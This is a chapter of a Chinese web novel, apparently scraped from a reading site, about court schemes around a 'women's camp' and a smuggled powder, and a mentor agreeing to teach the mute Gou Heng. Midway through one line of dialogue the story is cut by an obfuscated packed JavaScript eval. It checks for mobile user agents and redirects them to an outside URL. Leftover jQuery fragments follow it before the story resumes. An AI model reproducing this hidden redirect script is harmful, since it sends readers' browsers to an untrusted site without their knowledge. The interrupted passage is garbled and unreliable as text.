34. 第三十四章
作品:《重生后嫁给绿茶小哑巴》 李晃回府的时候天已经全黑了。
勾衡迎上去,只见李晃面色凝重、步履匆匆。
“跟我来。”李晃只抬头看了勾衡一眼,便引着他往书房走。
“双宵看过连夫人本子的贵女们多,团结起来更便捷,但临占贵女们依然是各自家族的喉舌,发不出半点异响。”
李晃将手中的册子扔在书桌上,眉头紧紧皱着:“我们没能抢占先机,让他们反过来咬了我们一口!”
勾衡翻开册子一看,上面全是人名,名字旁记录着此人生前所受刑罚,而册子的扉页上赫然写着“娘子营”。
“你来的路上应该已经听说过‘娘子营’了。”
勾衡点头。
李晃捏了捏眉心:“娘子营是方勤时让人弄出来的动静,打着连夫人的旗号,要对天下男子进行讨伐,如今城中有罪的、无罪的男子都被卷了进去......”
勾衡提笔写:他想做什么?
“他想让连夫人现身,但如今这个‘娘子营’已经将连夫人的名声给坏了,她此时出来,就是活靶子......”
勾衡又写:娘子营里都是什么人?
“宫里的嬷嬷和贵女们的丫鬟,各个都有名字登记在册,少一个都是麻烦。”
勾衡:我们有眼线在里面吗?
“此计有旁人指点,并非全然是方勤时的主意,从娘子营成立至今,成员一个变动都没有,彻底杜绝了插入眼线的可能。”
勾衡:旁人?
说到这儿,李晃攥了攥拳头:“这位旁人,就是今年科举入仕的辜知易。”
勾衡的笔尖在纸上顿了一下,落下一滴小小的墨渍。
“辜知易?”方漾蹙眉。
金谷点点头,好奇道:“你认识?他是今年科举的探花,如今是皇上身边的红人。”
科举是大事,即便是千里之外的西阚城也有所耳闻。
方漾没料到的是,辜知易会参加今年的科举,并夺得探花。
前世的辜知易并未参加过科举,是因为同她缔结了婚约,所以直接入朝为官。
方漾一直都知道他腹有诗书,只是不曾想他在科考这条路上竟能走得如此顺畅。
“只是听过名字。”方漾不想跟辜知易扯上太多关系,于是随口回了一句。
“欢喜说她去西边转了好几次,碰见几拨去买金光散的大荆人,他们曾经谈论过辜知易此人。”
“是怎么说的?”
“说是他不知使了什么手段,蒙蔽了圣心......”金谷想了想,又补充道,“总之,欢喜说那些大荆人提起他时,语气都不大好。”
“来买金光散的人不待见这个辜知易......会不会是因为,他在抢这些人的生意?”二牛插嘴道,“把金光散运进大荆的幕后黑手就是他!”
他越说越觉得对,声音也越来越大,被方漾一巴掌打在肩上:“闭嘴。”
二牛退了半步,默默捂着肩膀,一脸委屈地看向方漾。
“金光散的事在我来西阚前就有了,那时候科举还没开考,他一个平头百姓,怎么倒腾得了这么大量的金光散?”方漾道。
二牛抠了抠头,闭上了嘴。
“欢喜最近要去南边进粮食,不能盯着西边外邦人了,她让我跟你说一声。”金谷道。
方漾点头:“嗯,这件事多谢她了,等她回来我再当面道谢,之后的事让阿衡查吧,他在临占,消息比我灵通。”
消息灵通的勾衡头都要大了。
辜知易科考进朝堂,遇上的第一件事就是连棠掀起的“婚嫁自由风”,连棠为了此事彻底改了姓名,变为了“莲堂”,除非见到她本人,否则辜知易是无法从李晃造的假身份中发现那是连棠的。
而正是因为发现不了,辜知易才不遗余力地使出了阴招。
勾衡知道,这是辜知易经手的第一件事,他一定会铆足了劲好好做,可若是他知道自己对付的是自己的娘呢?
“我问过连夫人了,她不想暴露身份。”李晃道,“这件事已然没了回头路可走,陆小姐与其父决裂,断了同闵家的婚事,消息已经从双宵传到了临占,如今辜知易又借势添了‘娘子营’这把火......”
勾衡:这火已经灭不掉了。
“当然灭不掉,我也不会让它灭掉......”李晃蹙眉,“既然辜知易已经加大了火势,那我也必然要接过来,把临占烧个干净!”
李晃掷地有声,勾衡看得出,他是真的有些恼了。
“金光散的事我已派人去查了,从探子报上来的消息看,此人是宫中的大人物。”
李晃分析道:“朝中早就分了派系,可金光散却能同时进入不同派系的朝臣家中,说明临占的这位‘金主’权力大到能将手伸进所有朝臣家中......”
勾衡闻言,不由心头一跳:皇上?
李晃低头看了一眼勾衡写在纸上的那两个字,提起嘴角冷笑了一声:“若真是他,那他可真是个胆大的,一国之君,做这种祸国殃民的勾当,也不怕死后永世不得翻身......”
李晃话音未落,外头忽然落下一道惊雷,没一会儿雨珠就噼里啪啦地砸了下来。
勾衡正要关窗,却被窗外已经长得郁郁葱葱的花草给吸引了——夏天要到了。
他不喜欢夏天,也不喜欢冬天,一个能把他晒脱皮,一个能把他冻裂皮。
“愣着做什么?快将窗户关上,待会儿雨水打进来,架子上的书就要遭殃了。”李晃提醒道。
勾衡忙将窗户关上。
“说起来,你怎么忽然回来了?”提起勾衡的事,李晃的表情放松了许多。
勾衡走回桌子边:我想变得更厉害。
“你医术底子有了,人又肯钻研,当个军医应当不成问题啊。”
勾衡:不够。
“哪里不够?功夫不够好?”李晃问,“可你从前没吃上什么好东西,身子一时半会儿很难强起来。”
勾衡:那就慢慢调理。
“嗯?”李晃来了兴趣,“真是觉得自己功夫不够好?”
勾衡点点头,又写:还有谋略。
“哟?你还想学谋略?什么谋略?是兵书,还是......”李晃眯着眼看勾衡,“还是拿捏阿漾的谋略?”
勾衡刚刚还沉浸在自己回临占后的计划中,猛地听到李晃的调侃,他愣了一下,抬头看向李晃。
李晃被他那讶然的目光给刺痛了:“我看起来很傻吗?你对阿漾那点心思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435591|183351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,藏都藏不住,我早就看出来了。”
勾衡眨眨眼,脸颊不争气地泛起红来。
“你若当我是个长辈,就听我一句劝。”
勾衡睁着大眼睛等着李晃说接下来的话。
“我劝你别惦记阿漾。”
一句话如当头棒喝,砸碎了勾衡的幻想。
“阿漾从小就没有情爱的那根弦。”李晃目光悠远,似是在回忆什么。
“她学字后,最爱看兵书,我也给她看过市井话本子,但她只挑行侠仗义的看,对男女之事毫无兴趣......”
李晃顿了顿,又道:“你应当看过她在营里的样子,强势、果决,即便如此,先前在涵柘时,也有不少将士都对她生过暧昧之情,你猜她是如何说的?”
勾衡的眼睛一错不错。
“她同人家说......”李晃压着眉毛,模仿方漾发号施令时的表情,道,“你是打得过我还是谋得过我?等你哪天成为了比我更强的将军,再来跟我说这话。”
“你听听......”李晃微微弯腰凑近勾衡,道,“她是个厉害的,同时又慕强,若我为她铺的路够顺,她往后可是要坐上皇位的,到时候,全大荆上哪儿去找个比她还强的男人出来?”
“你练功夫、学谋略,能强过她?她在功夫上的天赋极高,脑子也活泛聪明,她幼时在宫中读过的书、悟过的道理,是你这辈子都追不上的。”
李晃的话残忍,却也真实。
勾衡知道,他与方漾之间,不仅存在着身份地位的差距,还有方漾走过的那些路,她的能力、她的见识,确实是他这辈子都追赶不上的。
“天子家最不缺的就是孤家寡人,她的路早就定了。”李晃说这话时,语气有些颤。
其实他并不想说出这句话,因为这条路对方漾来说,太孤独了。
生于天家,就是从娘胎里带了“诅咒”出来,这“诅咒”明明白白写着:若要得权得势,必得失亲失爱。
若非方勤时的狠心,方漾不可能有如今的能力,恐怕也会像她那个弟弟一样,成为徒有虚名的废物。
“所以你别惦记她了......我知道,她聪明、漂亮,你心悦她也是人之常情,但你还年轻,遇见的人太少了,说不定过几年,就遇到别的心上人了呢?”
勾衡下意识想反驳,但他忍住了。
反驳无用、口舌无用,而且口舌功夫也从来不是他擅长的。
他擅长“做”,擅长在沉默中用行动表达。
李晃看勾衡表情更加坚定了,便知道自己的劝说半点用都没有。
他摇摇头叹了口气:“这么厚的一堵南墙,你非去撞......何必呢?”
勾衡不觉得方漾是一堵“厚南墙”,在他心中,方漾是一条奔流不息的河,她强大、包容,同时一往无前。
他已经义无反顾地跳入了河里,是学会浮水,还是逐渐溺死,他都心甘情愿。
勾衡默默在纸上写:我会努力学的,功夫、医术和谋略。
李晃看了,抿起唇不说话。
就在勾衡以为他要再次拒绝自己的时候,李晃的话伴着雨声落入了他耳中。
“罢了,多教一个就多教一个,往后就叫我‘老师’吧。”